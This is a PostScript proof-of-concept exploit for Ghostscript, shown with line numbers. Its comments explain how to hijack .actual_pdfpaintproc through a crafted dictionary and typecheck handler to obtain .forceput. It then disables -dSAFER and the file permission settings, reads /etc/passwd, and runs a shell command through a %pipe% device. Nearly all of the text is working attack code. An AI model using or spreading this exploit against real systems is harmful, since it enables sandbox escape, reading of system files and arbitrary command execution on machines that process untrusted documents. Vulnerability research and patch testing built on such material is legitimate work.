1
%!PS
2
% extract .actual_pdfpaintproc operator from pdfdict
3
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
4

5
/exploit {
6
    (Stage 11: Exploitation...)=
7

8
    /forceput exch def
9

10
    systemdict /SAFER false forceput
11
    userparams /LockFilePermissions false forceput
12
    systemdict /userparams get /PermitFileControl [(*)] forceput
13
    systemdict /userparams get /PermitFileWriting [(*)] forceput
14
    systemdict /userparams get /PermitFileReading [(*)] forceput
15

16
    % update
17
    save restore
18

19
    % All done.
20
    stop
21
} def
22

23
errordict /typecheck {
24
    /typecount typecount 1 add def
25
    (Stage 10: /typecheck #)=only typecount ==
26

27
    % The first error will be the .knownget, which we handle and setup the
28
    % stack. The second error will be the ifelse (missing boolean), and then we
29
    % dump the operands.
30
    typecount 1 eq { null } if
31
    typecount 2 eq { pop 7 get exploit } if
32
    typecount 3 eq { (unexpected)= quit }  if
33
} put
34

35
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
36
% executable arrays onto the operand stack that contain .forceput, but are not
37
% marked as executeonly or pseudo-operators.
38
%
39
% The routine was attempting to pass them to ifelse, but we can cause that to
40
% fail because when the routine was declared, it used `bind` but many of the
41
% names it uses are not operators and so are just looked up in the dictstack.
42
%
43
% This means we can push a dict onto the dictstack and control how the routine
44
% works.
45
<<
46
    /typecount      0
47
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
48
    /q              { (Stage 1: q)= } % no-op
49
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
50
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
51
    /gput           { (Stage 5: gput)= }  % no-op
52
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
53
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
54
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
55
    /pdfdict        { (Stage 9: pdfdict)=
56
        % cause a /typecheck error we handle above
57
        true
58
    }
59
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
60

61
(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
62

63
% Demonstrate reading a file we shouldnt have access to.
64
(/etc/passwd) (r) file dup 64 string readline pop == closefile
65

66
(Attempting to execute a shell command...)= flush
67

68
% run command
69
(%pipe%id > /tmp/success) (w) file closefile
70

71
(All done.)=
72

73
quit